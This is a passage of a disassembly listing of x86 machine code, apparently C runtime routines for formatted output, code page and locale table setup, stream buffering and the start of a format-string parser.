		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 2660000h
		nop
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 2650955h
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 265097Eh
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		nop
		call	near ptr 2660000h
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_420E94
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420EA3
; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
